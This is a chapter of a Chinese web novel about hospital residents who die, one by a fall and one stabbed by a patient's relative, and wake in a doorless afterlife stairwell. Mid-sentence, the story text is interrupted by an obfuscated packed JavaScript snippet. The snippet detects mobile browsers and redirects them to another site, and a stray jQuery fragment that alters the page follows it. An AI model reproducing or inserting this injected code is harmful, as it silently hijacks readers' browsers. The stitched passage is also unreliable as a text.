被从梦中叫醒的时候，陈希正在梦里给患者取鱼刺。
她迷迷糊糊地从值班室的硬板床坐起，按了一下手表：昨日入睡时间凌晨两点，起夜四次，总睡眠时长三个半小时。
还好，睡得不错。
从值班室走到护士站是一段漫长的跋涉，好在她现在心率只有105次/分，稍快，但对夜班后的早晨来说，正合适。
11、12、13……再加上梦里的一个，昨天晚上一共接了14个急诊，取了10个鱼刺，看了4个鼻子。
——她半年前刚刚入职北江附一院耳鼻喉科。
“喂喂，你好，耳鼻喉。”陈希接起了电话。
“急会诊啊，患者卡鱼刺了……肿瘤科，好的，我知道了，马上来。”
放下电话，陈希抓起急诊手机，将白大褂套在刷手服外，信步出了门。
秋日的北江市，带着湿漉漉的季雨味，洞洞鞋踩在地面上，留下一串泥泞的脚印。
肿瘤科距离外科楼很远，或者说，北江附一院血液肿瘤中心，坐落在两街之隔的一座三层独栋，曾经老门诊的位置。
难得离开沉重的住院部院落，反倒让陈希感到一阵清新之感。
她走进没有电梯的老楼，拉开二楼医生办公室的门，迎面而来的，是昏暗的灯光和PPT散发的微光。
“老师，是来会诊的吗？”
陈希抬起头，径直撞上一名男医生的目光。
在若即若离的微光中，她依稀看见他的脸，儒雅温和的长相，带着一副无框眼镜，白大褂里穿着系到最后一扣的黑色衬衫。
有点像医疗剧的男主人公，如果忽略他眼底的黑眼圈的话。
她的目光掠过他的胸卡：『肿瘤科，杨望，住院医师』。
是和她一样的年轻住院医，或者……和她一样，上夜班的可怜人。
“不是急会诊吗？这么快就把PPT做出来了？”陈希望着投屏上的『2025.9.13会诊病例讨论』。
“规定必须做，没办法。”他推了推眼镜，语气客气又疏离。
杨望伸手，将整齐订好的病历递到她手里。
“老师，您请坐。”他一边说，一边在自己的记录单上打勾，背影看上去像是濒死的完美主义者。
会诊的医生很快到齐，他们开始了今天的急会诊。
并不需要陈希参与太多，患者是肿瘤的病人，昨晚吃了鱼后，凌晨感到喉咙疼痛，拍了片子，鱼刺竟然卡到食管里了。
消化内科和胸外科为如何联合手术讨论了十五分钟，后面就一起离开安排手术了。
“我也是支持先手术，如果之后需要做喉镜，我们可以帮忙。”
陈希发完言，正准备离开，却被杨望叫住步子。
“老师，请等一下，麻烦签一下名。”
“不用叫我老师，”陈希指了指自己的胸卡，“我叫陈希。”
“杨望。”
“你昨天夜班？”
“是啊，昨天夜班上去两个。”
“上去？ICU？”
杨望摇了摇头，指了指天花板。
她方才意识到他的意思，大概说的是……去世了两个患者，于是尴尬地岔开话题，“那我先走了，以后有机会多合作。”
“嗯，有机会再合作。”
陈希前脚踏进办公室的门，后脚便被规培生惨白的面孔吓了一跳。
“念念，你怎么了？”她问张芳念，在他们组轮转的专硕并轨规培生。
“老师，我好像有点发烧。”
『39.1℃』。
“太好了老师，幸亏这个体温是我的，不是患者的。”张芳念舒了一口气。
“……”
陈希拿着体温计，眉头紧皱。“都这样了，你怎么还来上班？”
“怕影响考勤。”
“我给你批一周病假，快回寝室睡觉去。”
注视着规培生被同学搀走的背影，陈希舒了一口气，还没等她坐下喝口水，今天的早交班开始了。
“……耳鼻喉昨夜患者病情平稳，其余同护士交班。”
“嗯，好，咱们医生交班，要注意不要太简略，护士交过的也要交。”
主任点评道，即使上次他还说“不要太详细”，不过对于陈希来说，早已是习惯了的耳旁风，住院医师总是这样。
“咱们组的规培生呢？陈希？叫什么来着，怎么还没来呢？”
早会一散，陆老师便找起了人。
“规培生再这样迟到，到时候要给她罚钱了！”
“她昨天夜班发烧了，我让她回去休息了。”
“这样可不行，今天发烧、明天肚子疼，不吃苦，到时候能学到什么？”陆老师皱眉道，“到时候我要跟研究生科反应一下了。”
“她跟我请假了，就先别说了吧。”
“今天咱们组有一个颈部肿物要去穿刺的，你叫她来，带患者去穿刺。”
“没事，我去一趟吧。”陈希应下。
忙完三个新收的患者，陈希抬眼一看，已经是十二点半了。正好到了时间，她和超声科医生约好“看在你们主任的面子上，中午来穿一下”。
“陈希，中午吃什么，帮你带？”
“随便帮我带一份就行，你吃什么我吃什么，谢了。”
说罢，她换上“职业的亲切微笑”，带着患者和推轮椅的家属下了拥挤的电梯。
超声科所在的一号楼，与老外科楼并没有通道相连，只能下楼后，通过院落，再坐电梯上楼。
“你们慢慢走啊，我去前面给你们联系电梯。”
陈希对患者说罢，便朝着一号楼快步走去。
一号楼是北江附一院的新住院部，来往患者数众多，哪怕是拥有十部电梯，上下电梯也要排队到门口。
像这种推着轮椅的患者，需要医生先去跟电梯员沟通。
就在她快步朝着一号楼门口跑去的时候……
“砰——”
陈希怔了一秒，差点尖叫出来。
刚刚，一个人从楼上跳了下来……
那人俯身倒在地上，一动不动，鲜血染红了他身上的白大衣，看起来已经没了气息。
陈希飞快冲了过去，蹲下身子，摸了摸他的颈动脉。
早已没了脉搏，甚至……连脖颈都已经冰凉了。
而当她的视线，落在他的面孔上时，陈希感到心脏猛地一颤。
是杨望，刚刚有过一面之缘的肿瘤科医生。
当她回过神来的时候，双手已经沾满了血，不停地颤抖着。
“医生？医生？”是他们组患者的声音。
“来了——”
陈希颤抖地站起身，钻出已经围起来的人流。
她强迫自己冷静下来，人已经死了……无论怎样，工作要紧。
“我来了，跟我来。”陈希咬着唇，强迫自己冷静。
她的白大衣和手上都是血，病人却并未注意。或许，白大衣本身就和血迹很搭配……就好像，生与死，本身就是一样的。
“你好，借过一下，借过一下。”陈希挤过拥挤的人流，对电梯员笑笑，“我要带患者取做个穿刺。”
电梯员点点头，打开了一边的警戒绳。
陈希护送着患者和家属上了电梯，她刚迈步进去，只听到电梯“叮”一声，超员了。
“你们先上楼，我随后到。”
电梯门合上后，身后传来一阵骚乱。
“凭什么插队啊？”
“就是啊，那个医生插队！”
意识到说的是自己，陈希转过身，赔笑着解释：“我们这个患者着急要去穿刺。”
“着急，谁不着急！”
“你是医生就更不应该排队了！”
“我们这个患者……”陈希开口解释。
她话音未落，只见一个患者冲了出来。
“哼，都怪你们这些医生！谋财害命！我花那么多钱，我爸走着进的医院，现在只能在床上躺着！”
她没有注意到，那激动的患者，手里握着一把尖刀。
患者手起刀落。
陈希还没反应过来，便感到腹部传来一阵钻心的痛感。
“哐当——”那尖刀从患者的手里掉落，刀上已经沾满了鲜血。
一股混着凉意的剧痛席卷全身，陈希的意识渐渐模糊。
她失去了意识。
不知过了多久，也许几分钟，抑或是很久很久……
陈希再次醒来时，发现自己正站在医院的楼梯间。
奇怪，她低头看了看自己，白大衣干净如初，仿佛什么都没有发生过。
“我刚刚……不是被患者捅了吗？”腹部的剧痛感消失了，她伸手摸了摸，没有伤口。
是做梦了吗？
陈希一时间分不清，究竟刚刚发生的是幻觉，还是现在她正站在自己的幻觉中。
“不行，我要去带患者做穿刺，已经约好了。”陈希回过神来，管它是不是幻觉，当务之急是不能让患者等。
她径直朝着楼上跑去。
超声科位于八楼，并不算高。可她上了一层、又一层，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17010992|194130||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
方才意识到……这楼梯间，没有楼层号。
不仅仅如此……
住院部的楼梯间，总是充斥着刺鼻的烟味、随处乱堆的垃圾、以及家属绝望的眼神。
这里，太干净了。
干净、安静、一尘不染，或者说，毫无生气。
这里是哪里？
“你第一次来，小医生？”
她身后响起了一个慢悠悠的声音，陈希转过头，身后站着一个白大褂皱皱巴巴的白头发老人。
“老师，这里是哪里？”
老人没回答，只是微微扬起嘴角，嘴角的皱纹深陷。
陈希的目光落在老人的胸牌上，名字已经模糊不清，只依稀看到『主治医师』四个字。
“人死了，就会来到这里。”老主治笑着说。
“人死了？”
老主治摇了摇头，一边大笑，一边转身下楼离开了。
“偶尔去治愈，经常去帮助，总是在安慰，学医啊，谁也救不了——”
只留下老人的声音，在空荡的楼梯间里，久久回荡。
陈希一脸费解地站在原地，琢磨着老主治的话。
人死了，就会来到这里……
她刚刚，被患者一刀，白刀子进红刀子出，难道说……她已经死了？
陈希又迈开步子，缓缓向楼上走了两层，同样的，没有楼层号。
不仅仅没有楼层号，这里也根本没有一扇门。
仿佛这楼梯间，是无穷无尽的。
“怎么办？我在哪儿？”陈希又向上走了几层，同样的，没有楼层号、也没有出口。
她紧张起来，擦了一把额头上的汗，转身小跑着往下走。
“诶呦。”她撞上了一个人。
“你没事吧？”那人伸出手到她面前。
“没事，抱歉撞到你了……杨望？”
陈希揉了揉眼睛，激动地惊呼起来，在自己面前，穿着整齐的白大衣、面孔柔和的男人，是杨望。
“太好了，你还活着，杨望！”
她激动地跳了起来，紧紧拉住他的手。
“见到你我也很高兴，不过，陈希……我可能没有活着。”杨望回握住她的手，冷静地开口。
“没活着……”陈希心头一紧。
“我刚刚，被主任叫到了一号楼顶，然后……我没记错，我是自己从三十楼跳下去的。”
血，倒在地上的杨望，周围人的惊呼，想到这里，陈希的手止不住地颤抖起来。
“陈希，你该不会也……”
她对上他的目光，想起了不久前……患者的刀刃，腹部传来的剧痛，那难道是真的……
“我被患者捅了，难道说，我死了？”
想到这里，她竟无妄地松了一口气，既然她也死了，那么她眼前的他……他们就能一起了。
“那这里是哪里？天堂吗？还是地狱？”
“我不知道，我也刚刚到这里，我们走走看看？”杨望建议道，“看看能不能找到昨天夜班上去的老熟人。”
他们就这样沿着楼梯向下走，偶尔路过几个同样穿着白大褂的医生。
本想与他们说点什么，却被他们漠然的眼神制止了，就好像他们正赶着去上麻木的早班一般。
“门开了——”
就在这时，楼下传来一个激动的声音。
“太好了，走走走！”
“门开了！大家，门开了！”
陈希和杨望循声跑下楼，只见一道强光出现在墙壁上，在那雪白的墙壁上，隐隐约约出现了一扇门。
“你们俩也快点，门开了，赶紧走！”一个医生转过头对他们喊。
“要去哪？”
还没等陈希问完，便被杨望攥住手腕。“陈希，我们走。”
再一睁眼，她与他站在一间办公室，或者说，医生办公室。
陈希与杨望对视一眼，他轻轻松开了紧握着她的手。
一个穿着白大衣的年轻女人正在坐在电脑前，听到动静，她回过头，看见了两人。
她的胸卡上写着『呼吸科，王心悦，住院医师』。
陈希看了看自己和杨望，不知何时，她和他的胸卡上的字也变成了『呼吸科，住院医师』。
王心悦眼神中闪过一丝惊讶，一瞬间的功夫，便变成了平静。
“师弟、师妹，你们还站着干什么呀，搬椅子过来坐啊。”
两人搬了凳子，在师姐旁边坐下。
还没等发问，师姐便用极低的声音，缓缓开口道：“在这里，下错医嘱，就会死。”